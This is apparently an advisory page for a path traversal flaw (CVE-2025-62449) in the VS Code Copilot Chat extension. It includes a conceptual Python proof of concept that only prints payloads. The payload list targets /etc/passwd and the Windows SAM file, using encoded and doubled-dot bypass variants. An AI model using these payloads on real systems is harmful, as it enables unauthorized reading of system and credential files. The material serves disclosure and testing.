Improper limitation of a pathname to a restricted directory ('path traversal') in Visual Studio Code CoPilot Chat Extension allows an authorized attacker to bypass a security feature locally.
Visual Studio Code CoPilot Chat Extension < 受影响版本（具体版本待微软官方披露）
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62449 Path Traversal PoC for VS Code CoPilot Chat
# This PoC demonstrates the path traversal vulnerability in CoPilot Chat extension
import os
import json
import subprocess
import time
def test_path_traversal():
"""
Test for CVE-2025-62449: Path Traversal in VS Code CoPilot Chat
Attack scenario:
1. Attacker has local access to the system with low privileges
2. Attacker crafts a path traversal payload through CoPilot Chat
3. The extension fails to sanitize path inputs properly
4. Attacker can access restricted directories/files
"""
# Common path traversal patterns
traversal_patterns = [
"../../../../etc/passwd",
"..\\..\\..\\..\\windows\\system32\\config\\sam",
"%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
"....//....//....//....//etc/passwd",
"..%252f..%252f..%252f..%252fetc%252fpasswd"
]
print("[*] CVE-2025-62449 Path Traversal Test")
print("[*] Target: Visual Studio Code CoPilot Chat Extension")
print("[*] CVSS Score: 6.8 (Medium)")
print("[*] Attack Vector: Local (AV:L)")
print("[*] Privileges Required: Low (PR:L)")
print("[*] User Interaction: Required (UI:R)")
print()
for pattern in traversal_patterns:
print(f"[*] Testing payload: {pattern}")
# Simulate CoPilot Chat request with path traversal
payload = {
"type": "file_access_request",
"path": pattern,
"action": "read",
"source": "copilot_chat"
}
# In real scenario, this would be sent to VS Code CoPilot Chat
# The extension should validate and reject this request
# but due to CVE-2025-62449, it may process the traversal
print(f"[+] Payload constructed: {json.dumps(payload)}")
print(f"[!] If unsanitized, this could access: {os.path.normpath(pattern)}")
print()
print("[*] Note: This is a conceptual PoC. Actual exploitation requires:")
print(" 1. VS Code with CoPilot Chat extension installed")
print(" 2. Local access to the system")
print(" 3. User interaction through CoPilot Chat interface")
print(" 4. The extension's path validation bypass")
print()
print("[*] Recommended fix: Implement strict path validation")
print("[*] Expected behavior: All payloads should be rejected")
if __name__ == "__main__":
test_path_traversal()